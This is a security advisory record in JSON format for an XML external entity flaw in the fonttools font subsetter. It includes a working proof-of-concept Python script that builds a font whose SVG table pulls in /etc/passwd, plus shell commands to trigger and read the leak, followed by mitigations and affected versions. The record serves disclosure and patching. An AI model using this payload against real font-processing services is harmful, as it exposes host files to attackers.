{"id":"PYSEC-2026-1388","summary":"fonttools XML External Entity Injection (XXE) Vulnerability","details":"### Summary\n\nAs of `fonttools\u003e=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE svg [\u003c!ENTITY test SYSTEM 'file:///etc/passwd'\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cg id=\"glyph1\"\u003e\n    \u003ctext font-size=\"10\" x=\"0\" y=\"10\"\u003e&test;\u003c/text\u003e\n  \u003c/g\u003e\n\u003c/svg\u003e\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n","aliases":["CVE-2023-45139","GHSA-6673-4983-2vx5"],"modified":"2026-07-07T17:47:21.814862636Z","published":"2026-07-07T11:45:29.872888Z","references":[{"type":"WEB","url":"https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139"},{"type":"WEB","url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c"},{"type":"PACKAGE","url":"https://github.com/fonttools/fonttools"},{"type":"WEB","url":"https://github.com/fonttools/fonttools/releases/tag/4.43.0"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/08/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/09/1"},{"type":"PACKAGE","url":"https://pypi.org/project/fonttools"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6673-4983-2vx5"}],"affected":[{"package":{"name":"fonttools","ecosystem":"PyPI","purl":"pkg:pypi/fonttools"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.28.2"},{"fixed":"4.43.0"}]}],"versions":["4.28.2","4.28.3","4.28.4","4.28.5","4.29.0","4.29.1","4.30.0","4.31.0","4.31.1","4.31.2","4.32.0","4.33.0","4.33.1","4.33.2","4.33.3","4.34.0","4.34.1","4.34.2","4.34.3","4.34.4","4.35.0","4.36.0","4.37.0","4.37.1","4.37.2","4.37.3","4.37.4","4.38.0","4.38.1.dev0","4.39.0","4.39.1","4.39.2","4.39.3","4.39.4","4.40.0","4.41.0","4.41.1","4.42.0","4.42.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/fonttools/PYSEC-2026-1388.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}